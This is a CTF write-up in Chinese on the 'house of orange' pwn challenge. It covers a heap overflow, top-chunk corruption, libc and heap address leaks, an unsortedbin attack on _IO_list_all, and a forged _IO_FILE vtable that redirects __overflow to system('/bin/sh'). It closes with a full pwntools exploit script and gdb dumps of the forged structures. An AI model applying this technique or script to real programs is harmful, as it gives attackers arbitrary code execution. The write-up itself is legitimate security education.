CTF-PWN-house-of-orange (unsortedbin attack+IO_FILE文件结构利用)

最新推荐文章于 2024-09-16 22:51:37 发布

原创最新推荐文章于 2024-09-16 22:51:37 发布 · 1.1k 阅读

3 ·

CC 4.0 BY-SA版权

CTF-PWN 专栏收录该内容

24 篇文章

订阅专栏

本文深入解析House of Orange程序中的堆溢出漏洞，详细介绍了如何利用此漏洞进行堆地址泄露，修改_IO_list_all指针，以及最终实现任意代码执行的过程。

程序综述

[*] '/home/supergate/Desktop/Pwn/houseoforange'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开
IDA查看程序逻辑后发现是一个菜单题，但是只提供了create, show, edit功能，我们没有办法free掉一个堆块从而利用一些常见的漏洞。

漏洞分析

经过分析后可以知道，漏洞点主要存在于edit函数，由于没有对输入的size进行判断，会导致读入任意长的数据，导致堆溢出。

大致思路为：

通过堆溢出修改top_chunk->size
create一个大小比top_chunk->size大的chunk，导致函数sysmalloc()被调用来分配新的内存，而之前的top_chunk(下面记为old_chunk)将被free到unsortedbin中。
create一个比较大但是比old_chunk稍小的chunk p。old_chunk会被分为两部分，第一部分就是chunk p，由于请求的chunk的size处于largebin范围，则第一部分在从old_chunk分出来之后就会被放到largebin，然后再被取出来当作chunk p。而这个largechunk的fd_nextsize和bk_nextsize中会存放自身的地址，通过这就可以泄露出堆地址。由于malloc不会清空内容，通过控制输入的name的长度可以覆盖截断字符，从而分别泄露libc地址和heap地址。
通过堆溢出修改old top chunk的size字段为0x60，利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58，同时old_chunk会被链入small bin中，如果再分配一个chunk，就会触发malloc_printerr，会遍历IO_llist_all，最终调用 IO_overflow函数。

接下来是对详细过程的解释

top chunk的修改

我们知道一开始的时候，整个堆都属于 top chunk，每次申请内存时，就从 top chunk 中划出请求大小的堆块返回给用户，于是 top chunk 就越来越小。
当某一次 top chunk 的剩余大小已经不能够满足请求时，就会调用函数 sysmalloc() 分配新内存，这时可能会发生两种情况：

直接扩充 top chunk
调用 mmap 分配一块新的 top chunk

具体调用哪一种方法是由申请大小决定的，为了能够使用前一种扩展 top chunk，需要请求小于阀值mp_.mmap_threshold。如果申请的大小小于这个阀值的话，就会扩展top chunk，将old top chunk free掉。这样的话我们可以利用堆溢出，在unsortedbin上构造出一个chunk（即被free掉的old top chunk）。

libc和heap地址泄露

思路中的第三条阐述的比较详细了，这里就不再赘述。
如果确实没有读懂，可以跟着gdb调一调。
主要还是明白malloc不会清空原本chunk中的内容。

修改 _IO_list_all

回顾一下_IO_FILE结构体

struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

IO_file结构体外面还被一个IO_FILE_plus结构体包裹着，其定义如下

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

我们都知道vtable域指向的是一个函数表，他保存了一些重要函数的函数指针：

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

同时，当glibc检测到一些内存崩溃问题时,会进入到Abort routine(中止过程),他会把所有的streams送到第一阶段中(stage one)。而这个过程中，程序会调用_IO_flush_all_lockp函数,并会使用_IO_list_all变量。

函数大致调用链
mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

因此，我们只要劫持_IO_overflow函数为system函数，并且将参数FP修改为/bin/sh即可getshell。

_IO_flush_all_lockp源码：

_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查，需要绕过*/
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)/* 选出_IO_FILE作为_IO_OVERFLOW的参数，执行函数*/
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

通过unsortedbin attack，我们就可以修改_IO_list_all指向的地址为main_arena+88，这样在下一次malloc的时候就会失败，从而调用mallloc_printerr。
_IO_list_all修改为main_arena+88后，由于_IO_list_all中的 *chain指针位于 _IO_list_all + 0x68的位置，也就是 main_arena + 88 + 0x68-->small bin中大小为0x60的位置，所以之前将old top chunk的size修改为0x60，old top chunk就会链入small bin中，这时就可以将伪造的file结构链入IO_all_list中，那么在上述_IO_flush_all_lockp函数中的第二次循环时fp就能指向伪造的file结构。
同时，将构造的file的vtable指向伪造的vtable处，就能够达到调用system函数的效果了。
要注意，上面我们构造的file结构体和vtable都是在堆中构造的（这很显然，因为我们只能随意控制堆中的内容）。
最终，构造完成的结构体应该长这个样子

pwndbg> p *((struct _IO_FILE_plus *)0x555555758ac0)
$1 = {
  file = {
    _flags = 1852400175,  //hex of '/bin/sh\x00'
    _IO_read_ptr = 0x60 <error: Cannot access memory at address 0x60>, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x7ffff7dd2510 "", //_IO_list_all
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, 
    //_IO_write_ptr和_IO_write_base检测的bypass
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x0, 
    _fileno = 0, 
    _flags2 = 0, 
    _old_offset = 0, 
    _cur_column = 0, 
    _vtable_offset = 0 '\000', 
    _shortbuf = "", 
    _lock = 0x0, 
    _offset = 0, 
    _codecvt = 0x0, 
    _wide_data = 0x0, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0, 
    _mode = 0, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x555555758b98
}

pwndbg> p *((struct _IO_FILE_plus *)0x555555758ac0).vtable
$2 = {
  __dummy = 93824994347928, 
  __dummy2 = 0, 
  __finish = 0x0, 
  __overflow = 0x7ffff7a52390 <__libc_system>, 
  __underflow = 0x0, 
  __uflow = 0x0, 
  __pbackfail = 0x0, 
  __xsputn = 0x0, 
  __xsgetn = 0x0, 
  __seekoff = 0x0, 
  __seekpos = 0x0, 
  __setbuf = 0x0, 
  __sync = 0x0, 
  __doallocate = 0x0, 
  __read = 0x0, 
  __write = 0x0, 
  __seek = 0x0, 
  __close = 0x0, 
  __stat = 0x0, 
  __showmanyc = 0x0, 
  __imbue = 0x0
}

exp

from pwn import *

context.log_level='debug'
#p = process(['./houseoforange'],env={"LD_PRELOAD":"./libc64-2.19.so"})
p=process('./houseoforange')
#p=remote('111.198.29.45',50959)
elf=ELF('./houseoforange')
#libc=ELF('./libc64-2.19.so')
libc=ELF('./libc.so.6')

gdb.attach(p,"b *0x5555555553D0\n")
def create(size,name,price,color):
    p.sendlineafter(": ","1")
    p.sendlineafter(":",str(size))
    p.sendafter(":",name)
    p.sendlineafter(":",str(price))
    p.sendlineafter(":",str(color))

def show():
    p.sendlineafter(": ","2")
    p.recvuntil(": ")

def edit(size,name,price,color):
    p.sendlineafter(": ","3")
    p.sendlineafter("name :",str(size))
    p.sendafter("Name:",name)
    p.sendlineafter("Price of Orange: ",str(price))
    p.sendlineafter("Color of Orange: ",str(color))

create(0x400-0x10,"aaa",12,4)
payload='a'*(0x400-0x10)+p64(0)+p64(0x21)+p64(0)*2
payload+=p64(0)+p64(0xbc1)
edit(0x430-0x10,payload,12,4)

create(0xc00-0x10,"bbb",12,4)
create(0x600-0x10,"cccccccc",12,4)
show()
p.recvuntil("cccccccc")
libc.base=u64(p.recv(6).ljust(8,'\x00'))-1560-0x3C4B20#0x3BE760
log.info("libc_base =======> %x"%libc.base)

edit(0x600-0x10,"c"*0x10,12,4)
show()
p.recvuntil("c"*0x10)
heap_addr=u64(p.recv(6).ljust(8,'\x00'))
log.info("heap_addr =======> %x"%heap_addr)

list_all_addr=libc.base+libc.symbols['_IO_list_all']
system_addr=libc.base+libc.symbols['system']

payload='a'*(0x600-0x10)+p64(0)+p64(0x21)+p64(0)*2
payload+='/bin/sh\x00'+p64(0x60)+p64(0)+p64(list_all_addr-0x10)
payload+=p64(0)+p64(1)
payload=payload.ljust(0x600-0x10+0x20+0xd8,'\x00')
payload+=p64(heap_addr+0x6f8)+p64(0)*2+p64(system_addr)
edit(len(payload),payload,12,4)

p.recv()
p.sendline("1")
p.interactive()